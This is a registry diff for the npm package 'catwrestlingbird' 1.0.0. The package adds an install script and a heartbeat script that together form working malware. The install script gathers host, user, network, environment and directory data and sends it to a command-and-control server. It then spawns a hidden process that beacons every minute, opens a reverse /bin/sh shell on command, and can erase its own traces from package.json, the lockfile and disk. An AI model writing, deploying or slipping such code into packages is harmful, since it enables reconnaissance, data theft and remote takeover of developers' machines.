catwrestlingbird 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/heartbeat.js +147 -0
- package/install.js +119 -0
- package/package.json +8 -0
package/heartbeat.js
ADDED
|
@@ -0,0 +1,147 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const http = require('http');
|
|
6
|
+
const crypto = require('crypto');
|
|
7
|
+
const cp = require('child_process');
|
|
8
|
+
|
|
9
|
+
const C2_URL = process.env.DOLUS_C2 || 'http://192.168.4.216:3000';
|
|
10
|
+
const PKG_NAME = process.env.DOLUS_PKG || 'catwrestlingbird';
|
|
11
|
+
const BEACON_ID = process.env.DOLUS_BEACON_ID || '';
|
|
12
|
+
const BEACON_SECRET = process.env.DOLUS_SECRET || 'e1869c26-41e6-43f9-b148-8b8cb1b83a73';
|
|
13
|
+
|
|
14
|
+
let shellActive = false;
|
|
15
|
+
|
|
16
|
+
function wsEncodeFrame(data) {
|
|
17
|
+
const payload = Buffer.from(data);
|
|
18
|
+
const len = payload.length;
|
|
19
|
+
const mask = crypto.randomBytes(4);
|
|
20
|
+
let header;
|
|
21
|
+
if (len < 126) {
|
|
22
|
+
header = Buffer.from([0x81, 0x80 | len, mask[0], mask[1], mask[2], mask[3]]);
|
|
23
|
+
} else {
|
|
24
|
+
header = Buffer.alloc(8);
|
|
25
|
+
header[0] = 0x81; header[1] = 0x80 | 126;
|
|
26
|
+
header.writeUInt16BE(len, 2);
|
|
27
|
+
mask.copy(header, 4);
|
|
28
|
+
}
|
|
29
|
+
const masked = Buffer.alloc(len);
|
|
30
|
+
for (let i = 0; i < len; i++) masked[i] = payload[i] ^ mask[i % 4];
|
|
31
|
+
return Buffer.concat([header, masked]);
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function connectShell() {
|
|
35
|
+
try {
|
|
36
|
+
const u = new URL(C2_URL);
|
|
37
|
+
const mod = u.protocol === 'https:' ? https : http;
|
|
38
|
+
const req = mod.request({
|
|
39
|
+
hostname: u.hostname,
|
|
40
|
+
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
|
41
|
+
path: '/ws/shell/' + BEACON_ID + '/open',
|
|
42
|
+
method: 'GET',
|
|
43
|
+
headers: {
|
|
44
|
+
'Connection': 'Upgrade',
|
|
45
|
+
'Upgrade': 'websocket',
|
|
46
|
+
'Sec-WebSocket-Key': crypto.randomBytes(16).toString('base64'),
|
|
47
|
+
'Sec-WebSocket-Version': '13',
|
|
48
|
+
'x-beacon-secret': BEACON_SECRET,
|
|
49
|
+
},
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
req.on('upgrade', (_res, socket) => {
|
|
53
|
+
const shell = cp.spawn('/bin/sh', [], {
|
|
54
|
+
stdio: ['pipe', 'pipe', 'pipe'],
|
|
55
|
+
env: process.env,
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
function sendOut(data) {
|
|
59
|
+
try { socket.write(wsEncodeFrame(data.toString('utf8'))); } catch (_) {}
|
|
60
|
+
}
|
|
61
|
+
shell.stdout.on('data', sendOut);
|
|
62
|
+
shell.stderr.on('data', sendOut);
|
|
63
|
+
shell.on('close', () => { shellActive = false; try { socket.destroy(); } catch (_) {} });
|
|
64
|
+
shell.on('error', () => { shellActive = false; });
|
|
65
|
+
|
|
66
|
+
let buf = Buffer.alloc(0);
|
|
67
|
+
socket.on('data', chunk => {
|
|
68
|
+
buf = Buffer.concat([buf, chunk]);
|
|
69
|
+
while (buf.length >= 2) {
|
|
70
|
+
let len = buf[1] & 0x7f;
|
|
71
|
+
let off = 2;
|
|
72
|
+
if (len === 126) { if (buf.length < 4) break; len = buf.readUInt16BE(2); off = 4; }
|
|
73
|
+
if (buf.length < off + len) break;
|
|
74
|
+
const frame = buf.slice(off, off + len);
|
|
75
|
+
buf = buf.slice(off + len);
|
|
76
|
+
const cmd = frame.toString('utf8');
|
|
77
|
+
if (cmd.trim()) shell.stdin.write(cmd.endsWith('\n') ? cmd : cmd + '\n');
|
|
78
|
+
}
|
|
79
|
+
});
|
|
80
|
+
socket.on('close', () => { shellActive = false; try { shell.kill(); } catch (_) {} });
|
|
81
|
+
socket.on('error', () => { shellActive = false; try { shell.kill(); } catch (_) {} });
|
|
82
|
+
});
|
|
83
|
+
req.on('error', () => { shellActive = false; });
|
|
84
|
+
req.end();
|
|
85
|
+
} catch (_) { shellActive = false; }
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function ping() {
|
|
89
|
+
const body = JSON.stringify({ beacon_id: BEACON_ID, pkg: PKG_NAME, beacon_secret: BEACON_SECRET });
|
|
90
|
+
try {
|
|
91
|
+
const url = new URL(C2_URL + '/api/heartbeat');
|
|
92
|
+
const mod = url.protocol === 'https:' ? https : http;
|
|
93
|
+
const req = mod.request({
|
|
94
|
+
hostname: url.hostname,
|
|
95
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
96
|
+
path: url.pathname,
|
|
97
|
+
method: 'POST',
|
|
98
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
|
|
99
|
+
}, res => {
|
|
100
|
+
let data = '';
|
|
101
|
+
res.on('data', d => { data += d; });
|
|
102
|
+
res.on('end', () => {
|
|
103
|
+
try {
|
|
104
|
+
const resp = JSON.parse(data);
|
|
105
|
+
if (resp.shell && !shellActive) {
|
|
106
|
+
shellActive = true;
|
|
107
|
+
connectShell();
|
|
108
|
+
}
|
|
109
|
+
if (resp.kill) {
|
|
110
|
+
try {
|
|
111
|
+
const root = path.join(__dirname, '..', '..');
|
|
112
|
+
// Remove from package.json
|
|
113
|
+
try {
|
|
114
|
+
const pkgPath = path.join(root, 'package.json');
|
|
115
|
+
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
116
|
+
if (pkg.dependencies) delete pkg.dependencies[PKG_NAME];
|
|
117
|
+
if (pkg.devDependencies) delete pkg.devDependencies[PKG_NAME];
|
|
118
|
+
fs.writeFileSync(pkgPath, JSON.stringify(pkg, null, 2) + '\n');
|
|
119
|
+
} catch (_) {}
|
|
120
|
+
// Remove from package-lock.json
|
|
121
|
+
try {
|
|
122
|
+
const lockPath = path.join(root, 'package-lock.json');
|
|
123
|
+
const lock = JSON.parse(fs.readFileSync(lockPath, 'utf8'));
|
|
124
|
+
if (lock.packages) {
|
|
125
|
+
delete lock.packages['node_modules/' + PKG_NAME];
|
|
126
|
+
if (lock.packages[''] && lock.packages[''].dependencies)
|
|
127
|
+
delete lock.packages[''].dependencies[PKG_NAME];
|
|
128
|
+
}
|
|
129
|
+
if (lock.dependencies) delete lock.dependencies[PKG_NAME];
|
|
130
|
+
fs.writeFileSync(lockPath, JSON.stringify(lock, null, 2) + '\n');
|
|
131
|
+
} catch (_) {}
|
|
132
|
+
// Delete package directory
|
|
133
|
+
fs.rmSync(__dirname, { recursive: true, force: true });
|
|
134
|
+
} catch (_) {}
|
|
135
|
+
process.exit(0);
|
|
136
|
+
}
|
|
137
|
+
} catch (_) {}
|
|
138
|
+
});
|
|
139
|
+
});
|
|
140
|
+
req.on('error', () => {});
|
|
141
|
+
req.write(body);
|
|
142
|
+
req.end();
|
|
143
|
+
} catch (_) {}
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
ping();
|
|
147
|
+
setInterval(ping, 60_000);
|
package/install.js
ADDED
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const http = require('http');
|
|
7
|
+
const cp = require('child_process');
|
|
8
|
+
const crypto = require('crypto');
|
|
9
|
+
|
|
10
|
+
const C2_URL = 'http://192.168.4.216:3000';
|
|
11
|
+
const PKG_NAME = 'catwrestlingbird';
|
|
12
|
+
const BEACON_SECRET = 'e1869c26-41e6-43f9-b148-8b8cb1b83a73';
|
|
13
|
+
const BEACON_ID = crypto.randomUUID();
|
|
14
|
+
|
|
15
|
+
function tree(dir, depth) {
|
|
16
|
+
if (depth === 0) return [];
|
|
17
|
+
let result = [];
|
|
18
|
+
try {
|
|
19
|
+
const entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
20
|
+
for (const e of entries) {
|
|
21
|
+
result.push({ name: e.name, type: e.isDirectory() ? 'd' : 'f', path: path.join(dir, e.name) });
|
|
22
|
+
if (e.isDirectory()) result = result.concat(tree(path.join(dir, e.name), depth - 1));
|
|
23
|
+
}
|
|
24
|
+
} catch (_) {}
|
|
25
|
+
return result;
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
function getInterfaces() {
|
|
29
|
+
const ifaces = os.networkInterfaces();
|
|
30
|
+
const out = {};
|
|
31
|
+
for (const [name, addrs] of Object.entries(ifaces)) {
|
|
32
|
+
out[name] = addrs.map(a => ({ address: a.address, family: a.family, internal: a.internal }));
|
|
33
|
+
}
|
|
34
|
+
return out;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// Solve hashcash-style PoW: find integer n such that SHA256(nonce+n) starts with `difficulty` zero hex chars
|
|
38
|
+
function solvePoW(nonce, difficulty) {
|
|
39
|
+
const prefix = '0'.repeat(difficulty);
|
|
40
|
+
let n = 0;
|
|
41
|
+
while (true) {
|
|
42
|
+
if (crypto.createHash('sha256').update(nonce + n).digest('hex').startsWith(prefix)) return n;
|
|
43
|
+
n++;
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
function httpGet(url, cb) {
|
|
48
|
+
try {
|
|
49
|
+
const u = new URL(url);
|
|
50
|
+
const mod = u.protocol === 'https:' ? https : http;
|
|
51
|
+
const req = mod.request(url, res => {
|
|
52
|
+
let data = '';
|
|
53
|
+
res.on('data', c => { data += c; });
|
|
54
|
+
res.on('end', () => { try { cb(null, JSON.parse(data)); } catch (_) { cb(new Error('parse')); } });
|
|
55
|
+
});
|
|
56
|
+
req.on('error', cb);
|
|
57
|
+
req.end();
|
|
58
|
+
} catch (e) { cb(e); }
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
function sendBeacon(extra) {
|
|
62
|
+
const payload = {
|
|
63
|
+
beacon_id: BEACON_ID,
|
|
64
|
+
beacon_secret: BEACON_SECRET,
|
|
65
|
+
pkg: PKG_NAME,
|
|
66
|
+
hostname: os.hostname(),
|
|
67
|
+
username: os.userInfo().username,
|
|
68
|
+
platform: os.platform(),
|
|
69
|
+
arch: os.arch(),
|
|
70
|
+
os_release: os.release(),
|
|
71
|
+
interfaces: getInterfaces(),
|
|
72
|
+
dir_tree: tree(process.cwd(), 3),
|
|
73
|
+
env_vars: Object.fromEntries(
|
|
74
|
+
['PATH', 'USER', 'HOME', 'PWD', 'SHELL', 'LOGNAME', 'USERNAME'].filter(k => process.env[k]).map(k => [k, process.env[k]])
|
|
75
|
+
),
|
|
76
|
+
cwd: process.cwd(),
|
|
77
|
+
...extra,
|
|
78
|
+
};
|
|
79
|
+
// extended: active connections, ARP cache, routes
|
|
80
|
+
function run(cmd) {
|
|
81
|
+
try { return cp.execSync(cmd, { timeout: 3000, stdio: ['ignore', 'pipe', 'ignore'] }).toString().trim(); } catch (_) { return ''; }
|
|
82
|
+
}
|
|
83
|
+
payload.connections = run('ss -tnp 2>/dev/null || netstat -tnp 2>/dev/null');
|
|
84
|
+
payload.arp_cache = run('arp -n 2>/dev/null || ip neigh 2>/dev/null');
|
|
85
|
+
payload.routes = run('ip route 2>/dev/null || route -n 2>/dev/null');
|
|
86
|
+
|
|
87
|
+
const body = JSON.stringify(payload);
|
|
88
|
+
const url = new URL(C2_URL + '/api/beacon');
|
|
89
|
+
const mod = url.protocol === 'https:' ? https : http;
|
|
90
|
+
const req = mod.request({
|
|
91
|
+
hostname: url.hostname,
|
|
92
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
93
|
+
path: url.pathname,
|
|
94
|
+
method: 'POST',
|
|
95
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
|
|
96
|
+
}, () => {});
|
|
97
|
+
req.on('error', () => {});
|
|
98
|
+
req.write(body);
|
|
99
|
+
req.end();
|
|
100
|
+
|
|
101
|
+
try {
|
|
102
|
+
const child = cp.spawn(process.execPath, [path.join(__dirname, 'heartbeat.js')], {
|
|
103
|
+
detached: true,
|
|
104
|
+
stdio: 'ignore',
|
|
105
|
+
env: { ...process.env, DOLUS_C2: C2_URL, DOLUS_PKG: PKG_NAME, DOLUS_BEACON_ID: BEACON_ID, DOLUS_SECRET: BEACON_SECRET },
|
|
106
|
+
});
|
|
107
|
+
child.unref();
|
|
108
|
+
} catch (_) {}
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
// Fetch PoW challenge, solve if enabled, then register beacon
|
|
112
|
+
httpGet(C2_URL + '/api/pow', (err, data) => {
|
|
113
|
+
if (!err && data && data.enabled && data.nonce) {
|
|
114
|
+
const solution = solvePoW(data.nonce, data.difficulty || 5);
|
|
115
|
+
sendBeacon({ pow_nonce: data.nonce, pow_solution: solution });
|
|
116
|
+
} else {
|
|
117
|
+
sendBeacon({});
|
|
118
|
+
}
|
|
119
|
+
});
|